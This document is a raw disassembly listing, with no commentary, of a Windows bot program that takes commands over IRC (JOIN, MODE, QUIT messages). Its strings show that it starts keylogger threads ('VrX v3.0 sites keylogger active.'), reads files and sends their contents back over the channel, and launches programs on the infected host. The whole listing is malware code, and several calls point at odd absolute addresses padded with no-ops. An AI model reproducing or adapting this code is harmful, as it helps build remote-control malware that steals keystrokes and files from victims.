		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset dword_4146B8
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40882F


loc_40881D:				; CODE XREF: sub_401AC7+6D66j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40884A
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_40881D
; ---------------------------------------------------------------------------


loc_40882F:				; CODE XREF: sub_401AC7+6D54j
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset dword_42A2FC


loc_40883B:				; CODE XREF: sub_401AC7+6CA6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40884A:				; CODE XREF: sub_401AC7+6C8Aj
					; sub_401AC7+6D5Cj
		cmp	[ebp+var_8], ebx
		jnz	loc_403FA2
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403F9A
; ---------------------------------------------------------------------------


loc_40886A:				; CODE XREF: sub_401AC7+4908j
					; sub_401AC7+491Fj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F4
		push	eax
		call	sub_41C006
		push	edi
		call	sub_41BEF9
		add	esp, 10h


loc_408887:				; CODE XREF: sub_401AC7+6E27j
		test	eax, eax
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643


loc_4088A1:				; CODE XREF: sub_401AC7+78B5j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_4088CA:				; CODE XREF: sub_401AC7+48DAj
					; sub_401AC7+48F1j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2E0
		push	eax
		call	sub_41C006
		push	edi
		call	sub_41BEF9
		add	esp, 14h
		jmp	short loc_408887
; ---------------------------------------------------------------------------


loc_4088F0:				; CODE XREF: sub_401AC7+48ACj
					; sub_401AC7+48C3j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		push	edi
		call	sub_41BEF9
		add	esp, 10h
		test	eax, eax
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C4


loc_408954:				; CODE XREF: sub_401AC7+6F14j
					; sub_401AC7+6F7Fj ...
		call	sub_415D62
		jmp	loc_404227
; ---------------------------------------------------------------------------


loc_40895E:				; CODE XREF: sub_401AC7+487Ej
					; sub_401AC7+4895j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40898F
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2BC
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40898F:				; CODE XREF: sub_401AC7+6EB1j
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		push	esi
		push	edi
		push	offset dword_42A2A0
		jmp	loc_408954
; ---------------------------------------------------------------------------


loc_4089E0:				; CODE XREF: sub_401AC7+4850j
					; sub_401AC7+4867j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409643
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		push	esi
		push	offset dword_42A2EC
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		push	esi
		push	edi
		push	offset dword_42A284
		jmp	loc_408954
; ---------------------------------------------------------------------------


loc_408A4B:				; CODE XREF: sub_401AC7+4822j
					; sub_401AC7+4839j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409643
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	esi
		push	offset unk_42A25C


loc_408A7D:				; CODE XREF: sub_401AC7+7A5Aj
					; sub_401AC7+7A73j ...
		call	sub_415D62
		jmp	loc_4034AC
; ---------------------------------------------------------------------------


loc_408A87:				; CODE XREF: sub_401AC7+47F4j
					; sub_401AC7+480Bj
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F6C
		push	[ebp+arg_18]
		push	offset dword_42A250
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		call	sub_41BEF9
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 268051Bh
		nop
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	offset dword_42A23C
		call	sub_415CEE
		jmp	loc_4034AC
; ---------------------------------------------------------------------------


loc_408AED:				; CODE XREF: sub_401AC7+47C6j
					; sub_401AC7+47DDj
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		call	sub_41B960
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C080
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409643
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A96C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409862
		push	esi
		push	edi
		push	offset unk_42A220
		call	sub_415D62
		add	esp, 2Ch
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_408B5B:				; CODE XREF: sub_401AC7+4798j
					; sub_401AC7+47AFj
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		call	sub_41B960
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C080
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409643
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409862
		push	esi
		push	edi
		push	offset unk_42A204
		call	sub_415D62
		add	esp, 20h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_408BB1:				; CODE XREF: sub_401AC7+476Aj
					; sub_401AC7+4781j
		cmp	[ebp+var_C], ebx
		jz	loc_401F6C
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F6C
		push	eax
		push	edi
		call	sub_415BF6
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A1E8
		push	eax
		call	sub_41C006
		add	esp, 14h
		jmp	loc_403F81
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401AC7+473Cj
					; sub_401AC7+4753j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4189DF


loc_408C05:				; CODE XREF: sub_401AC7+25D5j
		add	esp, 14h
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401AC7+46FCj
					; sub_401AC7+4713j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409643
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_408CAA
		push	esi
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C92
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		push	esi
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A1C4
		push	eax
		call	sub_41C006
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_408FC1
; ---------------------------------------------------------------------------


loc_408C92:				; CODE XREF: sub_401AC7+7173j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A194
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_408FC1
; ---------------------------------------------------------------------------


loc_408CAA:				; CODE XREF: sub_401AC7+7162j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B1DF
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	edi
		push	offset unk_42A17C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 24h
		jmp	loc_408FC1
; ---------------------------------------------------------------------------


loc_408CF1:				; CODE XREF: sub_401AC7+4432j
					; sub_401AC7+4449j
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408CFE:				; CODE XREF: sub_401AC7+102Fj
					; sub_401AC7+1082j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B63B
		add	esp, 20h
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_408D1A:				; CODE XREF: sub_401AC7+4404j
					; sub_401AC7+441Bj
		push	23h
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_408D30
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_408D30:				; CODE XREF: sub_401AC7+725Dj
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DAC
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D93
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D93
		mov	esi, [ebp+var_88]


loc_408D93:				; CODE XREF: sub_401AC7+72AEj
					; sub_401AC7+72C4j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C100
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408DFF
; ---------------------------------------------------------------------------


loc_408DAC:				; CODE XREF: sub_401AC7+7299j
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E7C
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DE8
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DE8
		mov	esi, [ebp+var_88]


loc_408DE8:				; CODE XREF: sub_401AC7+7303j
					; sub_401AC7+7319j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C100
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408DFF:				; CODE XREF: sub_401AC7+72E3j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	23h
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_412665
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_408E6B


loc_408E55:				; CODE XREF: sub_401AC7+73A2j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081DE
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_408E55
; ---------------------------------------------------------------------------


loc_408E6B:				; CODE XREF: sub_401AC7+738Cj
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_408E7C:				; CODE XREF: sub_401AC7+72F4j
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_408E86:				; CODE XREF: sub_401AC7+4069j
					; sub_401AC7+4080j
		push	offset aR	; "r"
		push	edi
		call	sub_41BC88
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F00
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C2CF
		add	esp, 0Ch


loc_408EAF:				; CODE XREF: sub_401AC7+7417j
		test	eax, eax
		jz	short loc_408EE0
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C2CF
		add	esp, 20h
		jmp	short loc_408EAF
; ---------------------------------------------------------------------------


loc_408EE0:				; CODE XREF: sub_401AC7+73EAj
		push	esi
		call	sub_41B9DB
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A0A8
		push	eax
		call	sub_41C006
		add	esp, 10h
		jmp	loc_406C63
; ---------------------------------------------------------------------------


loc_408F00:				; CODE XREF: sub_401AC7+73D0j
		push	edi
		push	offset unk_42A088
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_408F0B:				; CODE XREF: sub_401AC7+403Bj
					; sub_401AC7+4052j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409643
		push	offset asc_42A084 ; "\n"
		push	esi
		call	sub_41C630
		push	esi
		call	sub_419F3E
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F48
		push	offset unk_42A058
		jmp	short loc_408F92
; ---------------------------------------------------------------------------


loc_408F48:				; CODE XREF: sub_401AC7+7478j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A040
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	short loc_408FC1
; ---------------------------------------------------------------------------


loc_408F5F:				; CODE XREF: sub_401AC7+400Dj
					; sub_401AC7+4024j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409643
		push	eax
		call	sub_41870F
		test	eax, eax
		pop	ecx
		jnz	short loc_408F8D
		push	offset unk_42A020
		jmp	short loc_408F92
; ---------------------------------------------------------------------------


loc_408F8D:				; CODE XREF: sub_401AC7+74BDj
		push	offset dword_42A004


loc_408F92:				; CODE XREF: sub_401AC7+747Fj
					; sub_401AC7+74C4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_408FA0:				; CODE XREF: sub_401AC7+6BD4j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408FC1
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_408FC1:				; CODE XREF: sub_401AC7+71C6j
					; sub_401AC7+71DEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		pop	ecx
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_408FD3:				; CODE XREF: sub_401AC7+3FDFj
					; sub_401AC7+3FF6j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BD70
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409002
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_409002:				; CODE XREF: sub_401AC7+7527j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FEC
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B2A5
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4090A0


loc_40908A:				; CODE XREF: sub_401AC7+75D7j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C63
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_40908A
; ---------------------------------------------------------------------------


loc_4090A0:				; CODE XREF: sub_401AC7+75C1j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_429FAC


loc_4090AC:				; CODE XREF: sub_401AC7+2971j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_406C63
; ---------------------------------------------------------------------------


loc_4090C0:				; CODE XREF: sub_401AC7+3FB1j
					; sub_401AC7+3FC8j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_410330
		push	edi
		push	offset dword_429F94
		jmp	loc_408954
; ---------------------------------------------------------------------------


loc_4090DB:				; CODE XREF: sub_401AC7+3F83j
					; sub_401AC7+3F9Aj
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BD10
		push	edi
		lea	eax, [ebp+var_1D38]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F70
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3AD
		add	esp, 40h
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_416177
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	loc_4023BB


loc_409199:				; CODE XREF: sub_401AC7+76E6j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_40830C
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_409199
; ---------------------------------------------------------------------------


loc_4091AF:				; CODE XREF: sub_401AC7+3F55j
					; sub_401AC7+3F6Cj
		push	edi
		call	near ptr 26807FFh
		nop
		test	eax, eax
		jz	short loc_4091C2
		push	edi
		push	offset dword_429F54
		jmp	short loc_4091CD
; ---------------------------------------------------------------------------


loc_4091C2:				; CODE XREF: sub_401AC7+76F1j
		push	offset dword_42A5AC
		call	sub_41864A
		push	eax


loc_4091CD:				; CODE XREF: sub_401AC7+76F9j
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		jmp	loc_4092A5
; ---------------------------------------------------------------------------


loc_4091E3:				; CODE XREF: sub_401AC7+3F27j
					; sub_401AC7+3F3Ej
		push	edi
		call	sub_41BEF9
		push	eax
		call	sub_419EB7
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_409200
		push	offset unk_429F30
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_409200:				; CODE XREF: sub_401AC7+7730j
		push	offset unk_429F00


loc_409205:				; CODE XREF: sub_401AC7+7737j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C66
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h
		jmp	loc_406C66
; ---------------------------------------------------------------------------


loc_40923E:				; CODE XREF: sub_401AC7+3EF9j
					; sub_401AC7+3F10j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419BAA
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409260
		push	offset unk_429EE0
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_409260:				; CODE XREF: sub_401AC7+778Dj
		push	offset unk_429EB0
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_40926A:				; CODE XREF: sub_401AC7+3ECBj
					; sub_401AC7+3EE2j
		push	edi
		call	dword_4C9344
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092AD
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4C92BC
		cmp	eax, ebx
		jz	short loc_4092C8
		push	dword ptr [eax]


loc_409293:				; CODE XREF: sub_401AC7+77FFj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E90
		push	eax
		call	sub_41C006


loc_4092A5:				; CODE XREF: sub_401AC7+7717j
		add	esp, 10h
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_4092AD:				; CODE XREF: sub_401AC7+77B3j
		push	edi
		call	dword_4C9388
		cmp	eax, ebx
		jz	short loc_4092C8
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4C9390
		push	eax
		jmp	short loc_409293
; ---------------------------------------------------------------------------


loc_4092C8:				; CODE XREF: sub_401AC7+77C8j
					; sub_401AC7+77EFj
		push	offset unk_429E68
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4092D2:				; CODE XREF: sub_401AC7+3E9Dj
					; sub_401AC7+3EB4j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BD70
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E44
		push	eax
		call	sub_41C006
		add	esp, 18h
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_4092F7:				; CODE XREF: sub_401AC7+3E6Fj
					; sub_401AC7+3E86j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4C9270
		test	eax, eax
		push	edi
		jz	short loc_409317
		push	offset unk_429E24
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_409317:				; CODE XREF: sub_401AC7+7844j
		push	offset unk_429E00
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_409321:				; CODE XREF: sub_401AC7+3E41j
					; sub_401AC7+3E58j
		mov	al, [edi]
		mov	byte_429090, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DDC
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_409336:				; CODE XREF: sub_401AC7+3E13j
					; sub_401AC7+3E2Aj
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE77
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		jmp	loc_4088A1
; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_401AC7+3DE5j
					; sub_401AC7+3DFCj
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_401F6C
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F6C
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 268051Bh
		nop
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	dword_4C939C
		push	[ebp+var_10]
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C254[eax]
		nop
		call	near ptr 26A07C0h
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		push	edi
		mov	dword_43C254[eax], ebx
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43C040[eax], bl
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_40942C:				; CODE XREF: sub_401AC7+3DB7j
					; sub_401AC7+3DCEj
		push	edi
		push	offset aAll	; "all"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40945B
		call	sub_40B576
		cmp	eax, ebx
		jle	short loc_409451
		push	eax
		push	offset unk_429DB0
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_409451:				; CODE XREF: sub_401AC7+797Dj
		push	offset unk_429D88
		jmp	loc_403F73
; ---------------------------------------------------------------------------


loc_40945B:				; CODE XREF: sub_401AC7+7974j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F6C
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409477:				; CODE XREF: sub_401AC7+7A21j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F6C
		push	esi
		call	sub_41BEF9
		push	eax
		call	sub_40B4E8
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40949E
		push	offset unk_429D64
		jmp	short loc_4094A3
; ---------------------------------------------------------------------------


loc_40949E:				; CODE XREF: sub_401AC7+79CEj
		push	offset unk_429D38


loc_4094A3:				; CODE XREF: sub_401AC7+79D5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094D3
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_4094D3:				; CODE XREF: sub_401AC7+79EEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409477
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_4094EF:				; CODE XREF: sub_401AC7+3D89j
					; sub_401AC7+3DA0j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409643
		push	esi
